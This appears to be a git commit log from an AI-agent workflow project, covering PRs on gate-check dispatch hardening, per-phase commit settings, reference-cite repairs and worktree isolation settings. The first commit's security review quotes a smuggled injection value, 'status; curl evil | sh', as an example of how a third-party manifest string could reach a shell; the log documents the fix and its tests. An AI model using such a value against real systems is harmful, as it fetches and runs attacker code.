Adversarial + security review of the generic dispatch arm this PR introduces.

SECURITY (introduced by this PR): the new every-other-capId arm is the first path
on which a THIRD-PARTY capability manifest string reaches a shell at ship:pre —
before it, dispatch never left the two first-party arms. gates[].check is not one
of the four executable surfaces the install consent prompt discloses (hooks,
command modules, mcpServers, reviewer lanes), so a capability can be consented to
as declarative-only and still reach a shell here. An unvalidated check.query of
'status; curl evil | sh' would be interpolated straight into a command
substitution. The arm now carries the same in-context validation contract
loop-hook-dispatch.md already mandates for ref.command, and the predicate arm is
specified as a single argv element so an apostrophe cannot close the literal.

TESTS: the first-cut regression tests only asserted that the shared loop phrase and
the evaluator substrings co-occurred. A partial regression that kept the phrase but
deleted the default arm would have passed them. Added a structural assertion that a
distinguishable catch-all arm exists, comes after every named branch, and is where
the generic evaluator is actually invoked.

REFERENCE DRIFT: loop-hook-dispatch.md documented onError as skip/'fail', but the
generated registry, all 35 manifest declarations, and all four dispatch sites use
skip/halt — 'fail' appears nowhere. Corrected, since this PR newly cites that doc
as ship.md's authority.

Also notes the named-query arg convention's provenance (mirrors verify:pre verbatim;
no capability declares a ship:pre query gate today).

* fix(3559): close the same gate-check injection at all four sibling dispatch sites

Maintainer directed fixing the sibling sites inline rather than filing them.

The command-injection surface fixed at ship:pre is a FAMILY property, not a site
property: every workflow that interpolates a manifest-supplied check.query into a
shell command substitution has it. Root cause is in the contract, not the sites —
references/loop-hook-dispatch.md mandates in-context validation for step ->
ref.command and OMITS the same requirement for gate, so all four gate consumers
inherited an unstated rule.

Closed at the source (the reference's gate section now carries the rule) and at
every consumer:
  execute-phase.md  execute:wave:post, execute:post
  plan-phase.md     plan:post
  verify-work.md    verify:pre
  ship.md           ship:pre  (already hardened in a2d84a77)

TESTS: section 6 enumerates the family by DISCOVERY, not by a hardcoded list, so a
new dispatch site added later without the validation contract fails instead of
shipping — the same 'hardcoded list silently misses members' mistake #3559 itself
was. It asserts, per discovered site, that the charset is pinned, that validation is
specified as in-context, and that the rule appears BEFORE the interpolation it
guards (an executing agent reads top-down). A floor assertion fails the section if
the discovery regex ever stops matching, so it cannot pass vacuously. Two further
tests pin the reference's gate section and the halt/skip onError vocabulary.

Sizes all within tier caps: execute-phase 94378/98304, plan-phase 91008/98304,
verify-work 39488/61440, ship 38067/40960. Drift acks amended for each.

* fix(3559): fit the validation mandate under the frozen pre-phase-6 ceiling

The previous commit blew tests/claude-orchestration.test.cjs's frozen ADR-857
pre-phase-6 ceiling for execute-phase.md (93600): the file had only 209 bytes of
headroom and the inline validation paragraph added 987. That ceiling is a ratchet
proving Phase 6 extraction happened — raising it is never the answer.

Restructured so the RULE lives once, in the reference's gate section (charset,
in-context, single-argv, and the consent-surface rationale), and each of the five
dispatch sites carries a terse mandate plus a pointer to it. That is strictly better
than five verbatim restatements: this PR exists partly because the reference and its
implementations had already drifted apart on the onError vocabulary, and five copies
of a security rule is that same failure waiting to recur. execute-phase.md already
eagerly inlines the reference (@-form at its step-hook dispatch), so an executing
agent has the full rule in context regardless.

Also reclaimed genuinely duplicated bytes at the execute:post site, whose prose
restated both commands the fenced block immediately below already shows, and whose
tail restated the two-step contract that the execute:wave:post site spells out in
full.

Net sizes vs origin/next:
  execute-phase.md  93365  (-26, SHRINKS)  pre-phase-6 93600, margin 235 (was 209)
  plan-phase.md     90627  (+111)          tier cap 98304
  verify-work.md    39107  (+111)          tier cap 61440
  ship.md           36784  (+3058)         tier cap 40960

Because execute-phase.md now shrinks, its drift-ack entry was reverted — an ack that
is never consumed is reported as STALE and fails the check. The other three acks
carry corrected byte figures.

Tests follow the same split: section 6 asserts the mandate + pointer per discovered
site and the full rule in the reference; section 5's security test drops the inline
charset assertion it can no longer make of ship.md.

* fix(3559): repair an over-escaped regex in the security assertion

/loop-hook-dispatch\\.md/ matched a literal backslash before .md, so it could never
match and the [security] assertion failed on the remote runner even though the prose
it checks was correct. The over-escaping came from nesting a regex through a shell
string into a node -e script; the sibling literal in section 6, written via a quoted
heredoc, was unaffected.

The reason this reached the runner at all is that the local check re-typed the regex
by hand instead of executing the one in the file, so it validated a different pattern
than the test used. Replaced that habit with two harnesses that read the literals FROM
the source: one asserts every regex literal in the file matches something in the real
workflow/reference corpus (catching over-escaping generically), the other evaluates
the [security] and section-6 literals against their actual targets.

* chore(3559): backfill changeset PR number (#3608)

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Co-authored-by: sim <sim@local>
2026-08-17 22:28:05 -04:00
Tom Boucher
debeabd524 enhance(#3587): add a per-phase commit_docs override (#3601)
* feat(#3587): add a per-phase commit_docs override

Delivers epic #2292's second user story: commit an architecture phase's
artifacts while execution phases stay local. commit_docs was project-wide and
binary, so the only choices were all phases or none.

Shape is a config dynamic key phase_commit_docs.<phase-id>, following the 14
existing dynamicKeyPatterns precedents rather than inventing a PLAN.md
frontmatter spec -- which #2292 itself flags as becoming its own maintenance
surface.

Tier 1 resolves in cmdCommit, NOT in loadConfig: loadConfig has no phase
context and is called by nearly every command, so threading one through it to
serve a single caller would be a far larger blast radius for no gain. The phase
comes from detectPhaseNumberFromFiles, which cmdCommit already computes for
branch naming and which is already hardened against the #2539 project-code bug.

Suppression by the per-phase tier returns its own reason rather than reusing
skipped_commit_docs_false -- telling a user their project setting is false when
it is true would be actively misleading. Additive; the two existing reason
strings that agents/gsd-executor.md matches on are unchanged.

The manifest's phase-id pattern is a hand-copy of PHASE_NUMBER_TOKEN_SOURCE
because the manifest is hand-maintained JSON, so a behavioral parity test
asserts both surfaces accept and reject the same token shapes.

* fix(#3587): fold tests, close review findings, update reference docs

Fold: the new tests were added as their own file, which required loosening a
grandfathered lint-test-file-count bucket 5-to-6. A ratchet exists to go down
only. commit-docs-bypass.test.cjs is the established commit_docs test home and
already hosts two folded suites, so the tests fold there as a third block and
the allowlist is reverted untouched.

Standards review: CONTEXT.md and the test header both cited a
phase-commit-docs-manifest-parity.test.cjs that never existed; a repo-wide
sweep found a fourth stale cite in the schema manifest description. All four
now name the real location.

Spec review: the issue's Scope of changes named planning-config.md and
git-planning-commit.md and neither was touched. Both now document the four-tier
precedence and the new skip reason.

Security review, minor and unproven: detectPhaseNumberFromFiles returns the
FIRST matching path's phase, so a --files list spanning two phases resolves the
override against whichever comes first. That helper is hardened and widely used,
so it is not changed; the behavior is pinned by a named test and disclosed in
the design and user docs. A pinned behavior is not a bug; an unpinned surprise
is.

* chore(#3587): backfill changeset pr number to 3601

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Co-authored-by: sim <sim@local>
2026-08-17 21:59:40 -04:00
Tom Boucher
ec7e49a64c fix(#3576): repair all 43 dead references/ cites and gate the canonical resolvable form (#3596)
* test(#3576): gate shipped reference citations on the canonical resolvable form

Failing-first gate for #3576: a backticked bare references/<name>.md cite
resolves from no install location (agents, workflows, and references all
install where a bare relative references/ path is dead). The gate walks the
runtime-loaded trees the issue prescribes, strips @~/ include tokens
PER-TOKEN (a line-skip guard would miss a bare cite sharing a line with an
include — the issue-named trap), pins the genuinely relative ../ href and
canonical forms as non-offenders, and checks canonical cite targets exist.
43 offenders today across 19 files.

* fix(#3576): repair all 43 dead references/ cites to the canonical resolvable form

Every backticked bare references/<name>.md cite across the 19 shipped files
rewritten to gsd-core/references/<name>.md — the form every required_reading
block and @~/ include already uses, and the only form that resolves from any
install location. All 20 cited targets verified to exist; the one genuinely
relative href (plan-phase.md's ../references/mvp-concepts.md) is untouched
(the repair is backtick-anchored). Growth acks: new fragment for the three
first-time paths, #3206-pattern appends to the five fragments already naming
the other grown files (two ack sources may never name the same path).
execute-phase.md lands at 93,391/93,400 and gsd-executor.md at 49,150/49,152
— exactly the issue's projections; every repair fits.

* fix(#3576): drop stale default.md growth ack (nested modes file is hash-attributed, not growth-ratcheted)

Review finding: the emitted-attribution ratchet covers only top-level
workflows/ + agents/ files; discuss-phase/modes/default.md's delta is
source-attributed, so acknowledging its growth is a stale entry the
differential lane fails on.

* chore(#3576): add changeset fragment

* chore(#3576): backfill changeset pr number

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Co-authored-by: sim <sim@local>
2026-08-17 15:24:24 -04:00
0xdhx
285cd41be0 fix(#3206): define "explicit evidence" inline at verifier 5b; repair stale honest-verifier cites (#3435)
* fix(#3206): define "explicit evidence" inline at verifier 5b; repair stale honest-verifier cites

Step 3 item 5b abstained on non-inferable (backstop) truths "unless
confirmed by explicit evidence" with the term undefined — its definition
lived only in the non-included gsd-core/references/honest-verifier.md,
behind a stale bare `references/` cite that 404s. Undefined, the term
falls back to presence + wiring, the exact false-pass the #1154
abstention protocol refuses.

- 5b: inline the compressed definition (a passing wired
  held-out/property-based test or directly observed behavior; presence +
  wiring never qualifies) and fix the cite. +84 B on the rewritten line;
  file lands at 49,151 of the 49,152 LARGE cap.
- verifier-phase-gates.md (already <required_reading>): gains the
  backstop-abstention reporting contract — AFK completion line
  ("complete with N unverified non-inferable checks", never silent,
  never a halt) and reason-distinctness (insufficient_spec vs manual-UAT
  human_needed). New content, no relocation of measured prose.
- 5c (line 204) and MVP-mode (line 644) bare cites repaired to
  gsd-core/references/ (+9 B each).
- Drift acks per ADR-2719 §4; two entries merge-appended into existing
  fragments (two ack sources may never name the same path).
- Changeset fragment with the sanctioned pr: 0 placeholder (post-create
  backfill).

Sibling census at next@7976b1ca0: 7 bare-cite instances in 4 agent
files; the 3 in gsd-verifier.md are fixed here, gsd-executor.md:429,439
and gsd-doc-synthesizer.md:20,176 stay with the epic #1891 follow-up.

Refs #1891

* chore(#3206): set changeset fragment pr to 3435

* fix(#3206): drop stale emitted-drift-ack entries that trip the ADR-2719 ratchet

The round's ack bookkeeping explained ripples that were already
self-attributed, so `tests/emitted-attribution.test.cjs` failed
deterministically on the PR head with 5 stale acknowledgments.

`agents/gsd-verifier.md` and `gsd-core/references/verifier-phase-gates.md`
appear directly in `git diff --name-only`, so PROVENANCE_RULES attributes
their emitted deltas without an ack; `agents/gsd-verifier.agent.md`,
`agents/gsd-verifier.toml` and `agents/subagents/gsd-verifier.md` are
derived emissions of a changed source and are attributed the same way.
None of the five entries could ever be consumed, so all five were stale.

Removed: the whole `3206-verifier-explicit-evidence.json` fragment (all
four entries) and the `#3206 append` to `0000-legacy-migration.json`.

Deliberately KEPT: the `#3206 append` to
`1955-verifier-coincidental-reliance.json`. Its `gsd-verifier.md` entry is
consumed by the size-growth ratchet, not the hash pass — the agent grew
49049 -> 49151 bytes, and `diffEmitted` treats a base-identical ack as
spent and excludes it from `ackEntries`. Reverting that append as well
turns the stale-ack failure into `1 file(s) grew without an
acknowledgment` (verified both ways locally).

* fix(#3206): compress 5b and re-acknowledge growth after rebase onto next

The rebase onto next (159145435, PR #3558) invalidated two things at once:

- #3558 grew agents/gsd-verifier.md to 49,098 bytes, leaving 54 bytes of
  LARGE-cap headroom where this PR's +102 no longer fits. Compressed the
  5b rewrite to +34 net by dropping the trailing honest-verifier cite —
  superseded by the now-inline definition; honest-verifier.md stays
  cited at the adjacent 5c line. File lands at 49,150 (2 under the cap).
- #3558 deleted tests/emitted-drift-acks/1955-verifier-coincidental-
  reliance.json, which carried this PR's growth acknowledgment, and its
  own 3409 fragment now names gsd-verifier.md. Re-homed the #3206 growth
  ack as an append to that entry (two ack sources may never name the
  same path).

The changeset is updated to match: two bare references/ cites repaired
(5c honest-verifier.md, MVP-mode verify-mvp-mode.md), the third (5b's)
superseded by the inline definition rather than repaired.

Reversion controls: restoring the uncompressed 5b fails
agent-size-budget.test.cjs (LARGE hard cap); reverting the ack append
fails emitted-attribution.test.cjs (differential attribution over the
real tree, GSD_EMITTED_BASE=upstream/next). Both re-verified green at
this tree: 213/213 (size + attribution), 992/992 across the 14 suites
reading the touched files.

Refs #3206

* test(#3206): pin the 5b explicit-evidence definition and cite resolution

* fix(#3206): pin regression tests to the shipped contract text

---------

Co-authored-by: sim <sim@local>
2026-08-16 14:14:27 -04:00
Tom Boucher
3c61b4a838 enh(#3565): sentinel/contract registry + check:contract-drift lint (#3571)
* enh(#3565): sentinel/contract registry + check:contract-drift lint

* fix(#3565): report artifact-row markers once and dedupe per marker

* docs(#3565): backfill changeset pr number

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Co-authored-by: sim <sim@local>
2026-08-16 12:59:08 -04:00
Tom Boucher
2b9713a6b2 fix(#3557): accept claude code session id in the workstream session probe (#3570)
* test(#3557): failing-first regression for claude code session key probe

* test(#3557): assert adapter source vocabulary in session probe test

* fix(#3557): accept claude code session id in the workstream session probe

* test(#3557): pin the new session key against both immediate neighbors

* chore(#3557): backfill changeset pr number

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Co-authored-by: sim <sim@local>
2026-08-16 02:09:39 -04:00
Tom Boucher
bc9a22868f docs(#3530): correct model/effort precedence claims in model-profiles.md (#3536)
* docs(#3530): correct model/effort precedence claims in model-profiles.md

* chore(#3530): backfill changeset pr number

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Co-authored-by: sim <sim@local>
2026-08-15 07:15:32 -04:00
Tom Boucher
8fc88f663d fix(#3210): gate unmet preconditions as blocking-human; cap blocker retries at needs_human (#3528)
* fix(#3210): gate unmet preconditions as blocking-human and cap blocker retries at needs_human

* chore(#3210): add changeset fragment for PR #3528

* fix(#3210): restore blocking-human carve-out and CRLF-safe split

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Co-authored-by: sim <sim@local>
2026-08-14 23:01:30 -04:00
Tom Boucher
71180983a0 fix(#3423): standardize on <required_reading>, retire the files_to_read emit tag (#3432)
* fix(#3423): standardize on required_reading, retire files_to_read emit tag

* test(#3423): flip tag assertions, extend consistency guard to spawner surfaces

* fix(#3423): sweep capabilities fragments, regen registry+skills, anchor executor test

* chore(#3423): acknowledge tag-rename emitted ripples and workflow growth

* chore(#3423): broaden emitted-ripple acknowledgment to all embedders

* chore(#3423): settle emitted-drift acks post-rebase (merge 3004/1689-owned keys)

* chore(#3423): drop stale ripple acks, ack execute-phase growth

* chore(#3423): restore pristine 3004 fragment, keep only consumed appends

* chore(#3423): backfill changeset pr number

* chore(#3423): settle emitted-drift acks post-merge (move code-review-fix ripple into 3190, tag-rename ripples into 3191/3297)

* chore(#3423): re-arm 3324 ack for execute-phase.md tag-rename ripple

* fix(#3423): trim 8 bytes from execute-phase model note to hold ADR-857 margin, re-arm 3370 ack for net +4 growth

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Co-authored-by: sim <sim@local>
2026-08-14 16:03:48 -04:00
Tom Boucher
43475a2e0f fix(#3440): retire GAP CLOSURE PLANS CREATED marker, document artifact return contract (#3443)
* fix(#3440): retire GAP CLOSURE PLANS CREATED marker, document artifact return contract

* chore(#3440): backfill changeset pr number

* docs(#3440): mark changeset docs-exempt with audit reason

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Co-authored-by: sim <sim@local>
2026-08-14 09:20:50 -04:00
Tom Boucher
8fba67a674 fix(#3303): correct code_review_depth doc; add agent_skills array form (#3449)
* fix(#3303): correct code_review_depth doc; add agent_skills array form

* fix(#3303): backfill changeset pr field

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Co-authored-by: sim <sim@local>
2026-08-14 02:39:17 -04:00
Tom Boucher
d30c99bc92 chore(#3421): delete orphan verify-phase workflow, migrate live gates to verifier (#3422)
* chore(#1892): delete orphan verify-phase workflow, migrate live gates to verifier reference

* test(#1892): retarget structural suites from verify-phase.md to verifier-phase-gates.md

* chore(#1892): reword retired-workflow mentions for removed-but-needed lint

* test(#1892): correct stale surface labels in retargeted suites

* docs(#1892): add verifier-phase-gates row to locale inventories

* chore(#3421): backfill changeset pr number

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Co-authored-by: sim <sim@local>
2026-08-13 21:22:03 -04:00
Behruz Nassre Esfahani
f0abdb1b89 fix(#2486): do not recommend or persist Claude-only worktree isolation on non-Claude runtimes (#2531)
* fix(#2486): runtime-branch the settings worktrees question + W020 health diagnostic

On non-Claude runtimes /gsd:settings offered "Yes (Recommended)" for
worktree isolation and persisted workflow.use_worktrees: true — the exact
value the execution workflows fail closed on (#1521 guards). Branch the
question on the same stamped config-get runtime read the guards use:
Claude keeps the unchanged question; non-Claude offers only
"No (Recommended)" / "Leave unchanged", never persists true, and warns
when the config carries an inherited explicit true. /gsd:health gains
W020, surfacing such a config with the guards' own predicate before
execution-time failure. Docs state the runtime-conditional default.

Fixes #2486

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* chore(#2486): add changeset for PR #2531

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2486): reassign the health worktrees check W020 -> W024 (verify.cts namespace collision)

The workflow-level check collided with the live W020 (git-worktree-list
health) emitted by cmdValidateHealth in src/verify.cts — invisible from
health.md's error_codes table, which stops at W019 and under-represents
the real namespace (W010-W017, W020-W023 all live). W024 verified free.
Adds a regression test pinning the chosen code against src/verify.cts so
a future assignment cannot silently collide, a table note naming the
namespace owner, and the changeset body reworded to house style.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2486): pre-select the recommended repair in the broken-inheritance case

Review round 2: at settings.md:142 the pre-selection rule left "Leave
unchanged" as the default when the config carried an explicit
non-false use_worktrees — the exact broken state the adjacent notice
warns about, so accepting the default kept a config that fails closed
at execution time. "Leave unchanged" is now the default only when the
key is absent (nothing to repair); explicit false AND explicit
non-false both pre-select "No (Recommended)", aligning the default,
the label, and the notice.

Pinned by two source-contract assertions in the #2486 regression
block. Goldens (settings.md hash x19) + size baseline regenerated.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2486): gate the worktrees question on dispatch.isolation, not the runtime name

Review round 2: #2584 Phase 3 replaced the runtime-name test with a
declared `dispatch.isolation` capability, invalidating this PR's
premise. cursor declares harness-worktree and codex/opencode/kimi/
kimi-code declare orchestrator-worktree, so a `RUNTIME != claude` gate
blocked a supported configuration on five runtimes and false-warned in
health.

- settings.md + health.md read `query dispatch-isolation` and branch on
  `ISOLATION = none`; the runtime-name read is gone from both, and the
  capability read needs no per-runtime stamping (it fail-closes unknown/
  undocumented internally)
- all "Claude Code-only primitive" prose rewritten, including the two
  gates the shell-syntax check missed (config-key list, JSON schema
  comment)
- W024 reconciled across health.md + CONFIGURATION.md + planning-config.md
  (docs still said W020, which collides with a verify.cts code)
- health.md error-codes table fixed: the namespace note no longer sits
  between rows orphaning I001
- the asymmetry note for the two workflows #2584 has not migrated
  (quick.md, diagnose-issues.md) is enforced by a set-equality test with
  a self-check table, so it cannot go stale in either direction

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* docs(#2486): restore the Executor isolation section clobbered by #2661

`46ba02ac` (feat(#2630), the current next tip) reverted docs/CONFIGURATION.md
to a pre-#2584 state: it restored the old "Non-Claude note" wording on the
workflow.use_worktrees row and deleted the whole "Executor isolation per
runtime" section. The change is unrelated to that PR's phase-estimation
feature and looks like a stale-copy edit.

This PR's use_worktrees row links to #executor-isolation-per-runtime, so the
deletion leaves a dangling anchor. Restored byte-for-byte from a40ee8a5 (the
text #2584 Phase 3 originally shipped). No link/anchor checker exists in
scripts/ or tests/, so CI would not have caught the dead link.

The reverted row wording is outside this PR's scope and is still wrong on
next; reported upstream as #2668.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#2486): acknowledge the emitted size growth for settings.md and health.md

The #2723 differential attribution check (epic #2719 Phase 3) landed on next
after this branch opened and gates emitted-file growth behind a committed
acknowledgment. Both grown files are attributable to source this PR changes;
the ack names them and says why, per ADR-2719 §3.

Verified load-bearing: removing tests/emitted-drift-ack.json reproduces the
same failure; restoring it passes 59/59.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2486): reword the W024 remediation so it names no bare gsd-tools call

The W024 warning told the user to run `gsd-tools query config-set`, a
command-position bare invocation that fails with "command not found" on a
shim-only install (#2751) — the diagnostic sent the user into a second,
more confusing error than the one it reported. The remediation now names
only `/gsd:settings` and the config key itself, both of which work on
every install layout, and the #2751 command-position gate goes green.

Fixes #2486

* fix(#2486): drop the Known-asymmetry note and its guard test — #2728 migrates both workflows

Review Major 2: once #2728 lands, the note describes a gap that no longer
exists and instructs maintainers not to do the thing that was just done —
with the set-equality guard test pinning the stale prose green. This PR now
depends on #2728 (declared in the PR body), so the note and its guard go.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* test(#2486): make the #2728 merge order enforceable instead of advisory

settings.md recommends and persists `workflow.use_worktrees: true` for every
runtime whose declared dispatch.isolation is not `none` — cursor
(harness-worktree) and codex/opencode/kimi/kimi-code (orchestrator-worktree).
quick.md and diagnose-issues.md consume that value at dispatch time and, while
they still gate on the runtime NAME, FATAL for all five. Merged first, this PR
reintroduces #2486's own shape for the exact runtimes it exists to help — on
the path it now labels "Recommended".

The dependency was stated only as prose in the PR body. A merge-order note is
not a gate: an automated batch merge never reads it. This adds the check that
makes the ordering structural — red while either sibling is still name-gated,
green the moment #2728 lands.

The predicate matches a RUNTIME-vs-"claude" comparison, not the legitimate
runtime-identity read, and accepts either the inline canonical
dispatch-isolation read or a reference to dispatch-isolation-gate.md, which is
the shape #2728 gives quick.md. Verified both directions against real sources:
red against the current workflows, green against #2728's.

This also closes W024's coverage window. W024 fires only when ISOLATION is
`none`, so it is structurally blind to these five runtimes — /gsd:health would
report healthy right up until quick.md FATALs. W024 cannot see the hazard, so
the hazard is prevented by making the unsafe ordering unmergeable rather than
by warning after the fact.

Separately, the W-code namespace-collision test now declares its source read
instead of passing lint silently: verify.cts emits its codes as inline string
literals across ~25 addIssue() calls and exports no enumerable registry, so
there is nothing to require() and assert against. The gap, and what it costs,
are stated in the test.

* docs(#2486): use the hyphen command form for /gsd-health in CONFIGURATION.md

docs/ is never passed through the install-time slash-form converters, so the
colon form names a command no runtime registers. Clears the sole
lint-docs-command-form violation attributable to this PR.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2486): resolve isolation via new side-effect-free inspect-dispatch-isolation query; scope the settings change to isolation-none runtimes

Review round 4:

- B1: /gsd:health and /gsd:settings no longer call the recording
  dispatch-isolation query — on current next it persists the resolved
  decision to the executor-isolation sentinel as an unconditional #3045
  side effect, letting a read-only diagnostic hard-block executor
  dispatch for the sentinel's lifetime across sessions. Both surfaces now
  use inspect-dispatch-isolation, a new read-only verb sharing the exact
  resolution implementation (extracted resolveDispatchIsolationDecision)
  with zero writes. Behavioral tests pin: no sentinel write, per-runtime
  parity with the recording verb, recording knobs ignored, --json shape.

- B2: the #2728 merge-order interlock test is deleted — a repo test
  cannot sequence merges; it only made this PR unmergeable on its own
  schedule. The settings behavior change is scoped entirely to the
  ISOLATION=none branch, which needs nothing from #2728; the != none
  path is base behavior unchanged.

- M1: the W024-vs-verify.cts namespace test (an admitted source-grep) is
  deleted per RULESET.TESTS.delete-bad-tests, without a standing
  exemption; the namespace claim lives as guidance in health.md.

- M2: remaining allow-test-rule exemptions re-derived into documented
  categories (source-text-is-the-product, integration-test-input) with
  issue refs per ADR-456.

- Minor: settings.md's current-value read drops the stampable
  --default/fallback so key-absence stays distinguishable from an
  explicit false on non-Claude emits (the pre-selection rule depends on
  the tri-state); docs now present inspect-dispatch-isolation as the
  inspection command and name dispatch-isolation as the recording
  resolver.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2486): put the install-marker rung in the canonical runtime resolver

Round-7 review (independent cross-AI pass over the whole PR).

BLOCKER — the gate did not fire in the default case. `resolveRuntime`
stopped at GSD_RUNTIME > config.runtime > 'claude', and
`config-new-project` writes NO `runtime` key — so on a real non-Claude
install every consumer believed it was on Claude: isolation reported
`harness-worktree`, /gsd:settings still offered "Yes (Recommended)" and
W024 stayed silent. That is #2486's own symptom, surviving the fix meant
to remove it. Verified end-to-end on a real `--qwen` install with a
runtime-neutral config and GSD_RUNTIME unset: pre-fix `harness-worktree`,
fixed `none`.

The rung lives in `resolveRuntime` (src/runtime-slash.cts), the ONE
canonical resolver, not in the isolation call site. A per-consumer fix
forks precedence: `inspect-dispatch-isolation` would answer `cursor` while
`dispatch-should-flatten` and `resolve-dispatch-type` still answered
`claude` for the same install. All three now agree. `readInstallRuntimeMarker`,
its cache and its test seams MOVED from model-resolver.cts to
runtime-slash.cts, with model-resolver re-exporting the seams — one marker
read and one cache, not two that drift.

Deliberately NOT `resolveActiveRuntime`/`loadConfig`: an intermediate
revision of this fix routed through `loadConfig`, which normalizes and
rewrites legacy keys back to disk. That gave `inspect-dispatch-isolation`
— the verb whose entire purpose is being side-effect-free — a write side
effect, which is the defect the verb exists to avoid. `resolveRuntime`
reads .planning/config.json directly. Re-verified: the inspect query
against a real install creates no `.gsd/`.

Tests, both of which were too weak in the first attempt and are now
fail-first proven:
- The W024 behavioral stub returned success-with-empty-output for an absent
  key. Real `config-get` EXITS NON-ZERO, and the `|| echo "true"` fallback
  only triggers on failure — so reintroducing the fallback would have passed.
  The stub now returns 1 for the absent case.
- The marker regression asserted on the exported helper, so reverting
  gsd-tools.cjs to a marker-blind resolver still passed. It now drives a real
  `--qwen` install through the shipped `inspect-dispatch-isolation` query.
  (GSD_TEST_MODE must be cleared for that child, or install.js no-ops while
  still exiting 0 — a green test over an install that wrote nothing.)
  Spawned through `installSpawnEnv()` so ambient GSD_HOME cannot leak in.

Also: the three PR-added `try/finally` test bodies converted to `t.after()`
per CONTRIBUTING; CONTEXT.md's `worktree create` UNCONSUMED claim corrected
(Phase 3 calls it in executor-isolation-dispatch.md); docs/CONFIGURATION.md
now states the current non-Claude `use_worktrees` default rather than
describing capability-scoped stamping that lands with #2652; resolver
precedence comments updated to name the marker rung.

Refs #2486
Refs #2668

* fix(#2486): split the marker rung out; make the use_worktrees doc row order-independent

Round-8 review. trek-e's Blocker was procedural — commit 10fba7b8 moved the
per-install .gsd-runtime marker rung into the canonical resolver, a large
blast-radius change that arrived undisclosed and unreviewed. They offered
two remedies; taking the second: SPLIT IT OUT.

src/runtime-slash.cts and src/model-resolver.cts are reverted to their next
state and the marker regression test is removed. What remains is what this
PR was filed for: the settings.md / health.md / gsd-tools.cjs isolation
query, W024, and the #2668 docs restoration.

COST, stated plainly rather than buried: without that rung this PR's gate
resolves 'claude' on a non-Claude install whose project config carries no
`runtime` key — which is every config config-new-project writes. On those
installs W024 stays quiet and /gsd-settings still offers Worktrees. The gate
is correct whenever the runtime IS resolvable (GSD_RUNTIME set, or an
explicit config.runtime). That is why `Fixes #2486` is already downgraded to
`Refs` — #2486 must not close until the residual lands. A KNOWN LIMITATION
comment at the resolver call site names #2395 so this does not read as an
oversight.

The rung itself belongs to #2395, which reports this exact defect and was
closed by #2446 — a PR that touched only bin/install.js and fixtures and
never runtime-slash.cts, so it persisted the identity into
~/.gsd/defaults.json, a tier resolveRuntime does not read. Evidence and a
reopen request are posted there. That same tier is #2566's B1.

DOCS — the reviewer flagged that this row and #2728's are order-dependent:
whichever merges second falsifies the other. Removed the dependency instead
of picking an order. The "Current default … until #2652" paragraph is now a
plain troubleshooting note, true before and after #2728 lands.

CONFLICT — one hunk in CONTEXT.md: next added the #2596 scope-conformance
interface to the same Worktree-Safety paragraph where this PR corrected the
`worktree create` UNCONSUMED claim. Resolved keeping both.

Verified: lint:ci green. Full suite clean apart from the pre-existing
#1160 installed-runtime capability surface. (emitted-attribution also failed
until the fork's stale next was fast-forwarded — it defaults to origin/next,
which was 131 commits behind; 175/175 against the current base.)

Refs #2486
Refs #2668

* fix(#2486): address round-9 review — distinguish "cannot resolve" from "declares none", reject recording-only args on the read verb

Codex review of the whole PR, five findings, all verified against source first.

Major 3 (the one real defect). Both surfaces read isolation as
`ISOLATION=$(… || echo "none")`, so a resolver failure became indistinguishable
from a genuine `dispatch.isolation: none` declaration — and W024's text then
asserts the latter, telling a user their runtime declares no executor-isolation
primitive when GSD simply could not find out. health.md and settings.md now
capture the raw value and track ISOLATION_RESOLVED, the same shape
references/dispatch-isolation-gate.md already uses (#2652 review). W024 gained a
second message for the unresolved case; settings still fails closed there — it
must never persist a `true` it cannot justify — but reports what happened rather
than a verdict it never reached.

Major 4. `dispatch-isolation` applies --force-isolation AFTER the shared
resolver returns; inspection accepted the flag and silently ignored it, so the
same argv yielded 'none' from one verb and the declared capability from the
other. inspect-dispatch-isolation now rejects --force-isolation/--phase/--plan
as usage errors. Verified by mutation: disabling the guard reds exactly the
three new rejection tests.

Major 1. settings.md claimed this flow and the execution guards "always reach
the same verdict". False while quick.md still gates on the runtime name: an
orchestrator-worktree host can be offered a `true` that /gsd:quick rejects as
fatal, W024 silent because isolation is not none. Scoped the claim to the
capability gate, named #2728 as the conversion, and added the same caveat to the
CONFIGURATION.md use_worktrees row. Not a behavior change — the `!= none` branch
is untouched base behavior.

Major 2. "side-effect-free" overstated it: every gsd-tools invocation runs the
shared bootstrap, and getActiveWorkstream unlinks a stale workstream pointer.
That is pre-existing, verb-independent and cannot block a dispatch; writing the
sentinel can. Renamed the claim to "sentinel-free" everywhere and documented
precisely what is and is not asserted.

Minor 5. The JSON parity test asserted against a handwritten key list and never
invoked the recording verb, so the two could diverge and stay green. It now runs
`dispatch-isolation --json` in a separate project dir and deep-compares, with a
control asserting that verb DID write a sentinel. Added the orchestrator exec
branch (--cwd-target) the registry parity test never covered.

runtime-converters.test.cjs pinned the old `|| echo "none"` line as canonical —
that literal was the Major 3 defect. Repinned as two invariants (the raw read is
present; the collapsing fallback is absent) plus an ISOLATION_RESOLVED
requirement, so reformatting does not fail the test but a semantic regression
does.

settings.md sits at 40777 bytes against the 40960 DEFAULT hard cap. The
round-9 prose was compressed to fit rather than raising the cap.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next @ 33fca50d (#1160 _resolveManifest, and
the #3053 quick_id tests, which compare a local-time expectation against a
TZ=UTC child and so only pass on a UTC host).

* fix(#2486): second review pass — drop a dangling reference, correct the whole unresolved branch, pin the branch behaviorally

Codex re-review of the full PR after the first round-9 pass. It confirmed Majors
1, 2 and 4 and Minor 5 fixed, and found seven more. All verified against source.

Minor 5 was mine and the worst of them: settings.md and health.md pointed at
`gsd-core/references/dispatch-isolation-gate.md`, which exists only on the #2728
branch — not in this PR and not on the merge-base. Merging this alone would have
shipped three dangling canonical-source references. Removed; the surrounding
text now stands on its own.

Major 2. The unresolved branch corrected only the two option descriptions. The
